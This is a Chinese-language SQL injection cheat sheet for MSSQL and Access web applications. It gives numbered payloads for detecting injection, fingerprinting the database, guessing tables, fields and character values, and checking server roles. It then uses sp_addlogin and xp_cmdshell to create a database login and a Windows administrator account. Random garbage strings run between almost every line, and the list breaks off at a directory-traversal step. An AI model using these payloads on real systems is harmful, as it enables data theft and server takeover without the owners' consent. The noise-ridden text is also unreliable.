1.判断是否有注入;and 1=1 ;and 1=2 uH- l%17
2.初步判断是否是mssql ;and user>0 7/@TF/V
A1>OY^p3%
3.注入参数是字符'and [查询条件] and ''=' O so#+
*@=/qkaJaI
4.搜索时没过滤参数的'and [查询条件] and '%25'=' ~^fZx5
l$pm_%@2]
5.判断数据库系统 G[I"8iS,
zFff`]^`
;and (select count(*) from sysobjects)>0 mssql P'[3Fqe
EC!02S
;and (select count(*) from msysobjects)>0 access Mc_YPR:C
9u}Hmb
lbl?k5
Q%tXQP .r
6.猜数据库 ;and (select Count(*) from [数据库名])>0 W^LY'ypT
ex (.=X 1
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ""F5z,'
f=gW]x7'R+
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 V/
uP%'cd
'3DXPR^B6
9.(1)猜字段的ascii值(access) ca*DZG/
']z{{UNUN
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 YdC6k?tzS
rkCx{pe9
(2)猜字段的ascii值(mssql) 4`]^@"{
9YQb&
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 Tg)|or/%
O6a<`]F
10.测试权限结构(mssql) wX5tp1 ?1J
ipgC RHE
j8{i#;s!"
qqr?!vem6
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- f:|1_ j
J1RJ*mo7,
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- J76kkW`5
QIvVcfM^
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- {e9@-
JZ*/,|1}EC
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ju8q?Nyhs
bj0G5dc=
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- j94=hJVKi
0c'<3@39k|
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- KNpl:g3{<Q
+LZLy9iKt
;and 1=(select IS_MEMBER('db_owner'));-- i&66Fi1
=eXU@B
Yi+wC}
)j(7]uX`
11.添加mssql和系统的帐户 vkd.)x`J,
5Y'qaIFR
;exec master.dbo.sp_addlogin username;-- |w1Bq
;exec master.dbo.sp_password null,username,password;-- _j/<{vS y
wb5baY9
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- )Y6 +
i6tf2oqO7
;exec master.dbo.xp_cmdshell 'net user username password ith
3=`3
m}aB?+i
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- .4M.y:F
tI TS1
;exec master.dbo.xp_cmdshell 'net user username password /add';-- RJ ||} 5
x?p1
HUK
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- @qqg e'
6YLj^w] %
)72+\C[*~r
YY((V@|K
12.(1)遍历目录 nE&